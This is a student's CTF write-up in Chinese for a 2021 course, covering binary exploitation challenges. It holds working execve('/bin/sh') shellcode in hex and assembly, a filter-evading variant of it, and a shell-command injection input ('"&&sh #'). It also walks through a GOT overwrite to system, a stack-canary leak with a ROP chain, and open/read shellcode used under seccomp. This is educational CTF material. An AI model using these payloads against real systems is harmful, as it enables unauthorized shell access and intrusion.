# ADL CTF ###### tags: `CTF`, `assignment`, `linux` :::info **2021 AUTUMN** http://ctf.adl.tw/ ::: ## Note - [忘記 stack frame 時看](https://hackmd.io/@dange/rk9xmgHKX?type=view) - [GOT&PLT](https://hackmd.io/@rhythm/ry5pxN6NI) - [pwn relatives](https://r888800009.github.io/software/security/binary/pwn-notes/#%E5%89%8D%E7%BD%AE%E6%A6%82%E5%BF%B5) - [shell code blog](https://medium.com/@ktecv2000/%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E4%BD%8D%E6%94%BB%E6%93%8A%E4%B9%8B%E4%BA%8C-buffer-overflow-b0a33d43ba1d) - [sh shell code example](https://www.exploit-db.com/exploits/42179) - tool - [syscall table](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86_64-64_bit) - [asm to hex](https://defuse.ca/online-x86-assembler.htm#disassembly) :::info Shell Code ``` \x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05 ``` ``` 400080: 50 push %rax 400081: 48 31 d2 xor %rdx,%rdx 400084: 48 31 f6 xor %rsi,%rsi 400087: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rbx 40008e: 2f 73 68 400091: 53 push %rbx 400092: 54 push %rsp 400093: 5f pop %rdi 400094: b0 3b mov $0x3b,%al 400096: 0f 05 syscall ``` ::: ## online tool - [online assembler](https://defuse.ca/online-x86-assembler.htm#disassembly) ## Challenges ### helloctf :ok: 一開始會比對輸入前 3 char 是不是 "yes",不是就會 exit(0) 用 bufferoverflaw 改變 main 結束後 return address 改成跳到 magic function magic function 內就有 sh code 了 ### helloctf_reverenge :ok: 跟 helloctf 差不多,只是多了 strcmp 用 '\0' 繞過 `strcmp` ### peko :ok: 看來是要在 array 中塞 shellcode 因為它後面就直接把 array 強治轉型成 function pointer 並執行了 只不過它中間會檢查 ```c if (i % 11 == 5 && array[i] != '\x87') {exit(0);} ``` :::info #### Original shellcode `\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05` | index | code | instruction | |:----- | -------------------- |:------------------------------- | | 0 | 50 | push %rax | | 1 | 48 31 d2 | xor %rdx,%rdx | | 4 | 48 31 ==f6== | xor %rsi,%rsi | | 7 | 48 bb 2f 62 69 6e 2f | movabs $0x68732f2f6e69622f,%rbx | | 14 | 2f 73 ==68== | | | 17 | 53 | push %rbx | | 18 | 54 | push %rsp | | 19 | 5f | pop %rdi | | 20 | b0 3b | mov $0x3b,%al | | 22 | 0f 05 | syscall | ::: :::info #### Modified `\x90\x90\x90\x90\x90\x87\xc0\x90\x50\x48\x31\xd2\x48\x31\xf6\xb3\x87\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x87\xc0\x53\x54\x5f\xb0\x3b\x0f\x05` + `\x87` * 100 5, 16, 27, 38 | index | code | instruction | |:----- |:----------------------------- |:------------------------------- | | 0 | 90 | | | 1 | 90 | | | 2 | 90 | | | 3 | 90 | | | 4 | 90 | | | 5 | ==87== c0 | xcng ax, ax // added | | 7 | 90 | | | 8 | 50 | push %rax | | 9 | 48 31 d2 | xor %rdx,%rdx | | 12 | 48 31 f6 | xor %rsi,%rsi | | 15 | b3 ==87== | mov bl, 0x87 // added | | 17 | 48 bb 2f 62 69 6e 2f 2f 73 68 | movabs $0x68732f2f6e69622f,%rbx | | 27 | ==87== c0 | xcng ax, ax // added | | 29 | 53 | push %rbx | | 30 | 54 | push %rsp | | 31 | 5f | pop %rdi | | 32 | b0 3b | mov $0x3b,%al | | 34 | 0f 05 | syscall | | 36 | 87 87 87 87 87... | | ::: ### holoshell :OK: 經過實驗以後發現在短時間內使用 `srand(time(0))` ,得到的 seed 會相同,因此用 rand() 做出來的密碼也會相同,體感在一秒內連續用都會得到相同的 seed。 所以,要破解 passwd 的方式就是在本地端也用和目標程式相同的方式建構密碼,然後成功度過檢查了!\^^/ 進到 sudo function 後,會執行 `asprintf(&command, "echo \"%s\" >> HololiveTW.txt", buf);` 這邊我們可以輸入 `"&&sh #` 來改變指令變成 `echo ""&&sh #" >> HololiveTW.txt"` 後面變成註解,所以實際上是 `echo "" && sh` 來得到 sh ### Holotool :OK: 首先我們可以發現他有 negtive array index 問題 接著用 gdb 看一下在 localhost 執行下有什麼東西在 Vtubers 上面 會發現 Vtubers 上面是 GOT > :bulb: 我們可以試著將 `atoi(buf)` 改成 `system(buf)` > 這樣我們只要輸入 "/bin/sh" 即可 首先先 leak 出 atoi addr (從 Vtuber[-1].name 的位置), 將其與我們的 libc.so.6 中的 atoi 相減得到 offset 用這個 offset 算出 system addr 位置 (pwntool 可以幫我們算) 接著我們便可以用 edit info 把 Vtuber[-1].name 也就是 atoi 的 GOT 改成 system addr 再下一輪的 atoi(buf) 就會變成 system(buf), 最後輸入 /bin/sh 達成 system("/bin/sh") 的執行 ### Debut :OK: :::warning #### 過程 可賣出 -1 stickers 來得到超多 SC,讓我們可以開始使用 `set_fan_name` exploit 關鍵點 應該是 `set_fan_name` 那裡 `set_fan_name` 裡面確實有 buffer overflow 的問題 看來應該是用 buffer overflow 將 return address 改到 libc 裡 > 歐不,是 `fs:0x28` stack-guard ``` set_fan_name variable1: size: 0x20 ``` 應該是可以 leak canary 的 ``` stack 32 byte : buf 08 byte : null 08 byte : canary 08 byte : old rbp 08 byte : old rip ``` 所以只要填入 40 位的 payload 便有機會在 `printf("set name to %s (Y/N)", buf)` 這邊 leak 出 canary,雖然只要 canary 裡面剛好有 \x00 就會斷掉 依據觀察 canary 最後一位通常是 `\x00`(little endian 第一位) 所以我們要塞 41 Byte 來吃掉第一位的 `\x00` 來 leak 出完整的 canary 然後祈禱 canary 中間沒有 `\x00` 感覺 GOT leak 不出來 或許可以用 ROP 我們還可以 leak 出 stack 中的 rip 來得到 text offset > 原來 main 是被 `__libc_start_main` 呼叫的 > 這樣了化,main 的 stack frame 裡的 return address 會是 libc 中的 __libc_start_main 我們可以 leak libc !!! ::: ![stack on __libc_start_main](https://i.imgur.com/S9us5Qo.png) > `__lib_start_main` 在 stack 中有,可以拿來 leak libc ![gadget](https://i.imgur.com/Hwz4qIw.png) > 可用的 gadget 在 `__libc_csu_init` 中,我不知道他的 offset 怎麼算,就直接 leak 他了 > main 的 stack frame 前面就有 `__lib_start_main` 和 `__lib_csu_init` 的 address ![sh in /bin/sh](https://i.imgur.com/t9UtgZ4.png) > /bin/sh string 在 libc 中的位置 得到全部的資訊後,進行 ROP。 ``` stack payload: BUF // 塞滿 AAA NULL // 塞滿 AAA canary rbp ret addr --> `_init`: ret; // 為了對齊 RIP 給後面的 system ret addr --> `__libc_csu_init+99` pop rdi; ret (/bin/sh) // libc 中的 /bin/sh 字串位置 ret addr --> system // 跳到 libc 中的 system function,達成 system("/bin/sh") ``` ### pekopeko :dizzy: `seccomp` 限制了我們使用 syscall 的範圍 ``` seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); ``` 或許我們可以只用 open 和 read 來讀 flag 但是在 65 byte 的限制下,有辦法做到嗎? filename string 要放哪裡, read 出來的 string 要怎麼弄出來 :::success 用比較的而不是用 print ::: 如果大於小於等於,做不同的行為,像是 jmp 到不同行 就可以知道某位元是不是某東西,多試幾次就可以 leak 全部 flag ``` int fd = open("flag", 0) read(fd, buf, 0x100) ``` ```asm mov rdx, 0x0666 xor rsi, rsi movabs rbx, 0x0000000067616c66 # mov rbx, "flag" push rbx push rsp pop rdi mov rax, 0x2 # rax <- 2 syscall # open("flag", 0)-> rax=2, rdi="flag", rsi=0 mov rdi, rax movabs rsi, $somewhere # use some string literal as buf mov rdx, 0x100 xor rax, rax # rax <- 0 syscall # read(fd, buf, 0x100)-> rax=0, rdi=fd, rsi=buf, rdx=count jmp 0x401543 # puts string literal ``` ### Gawr gura 沒有 stack-protactor, PIE 到處都可以 buffer overflow 沒有 PIE 了話,那也不用大費周章的 leak addr 了 Gura.avatar function pointer 可以 overwrite > 等等 server 端所用的 lib.so 沒有 system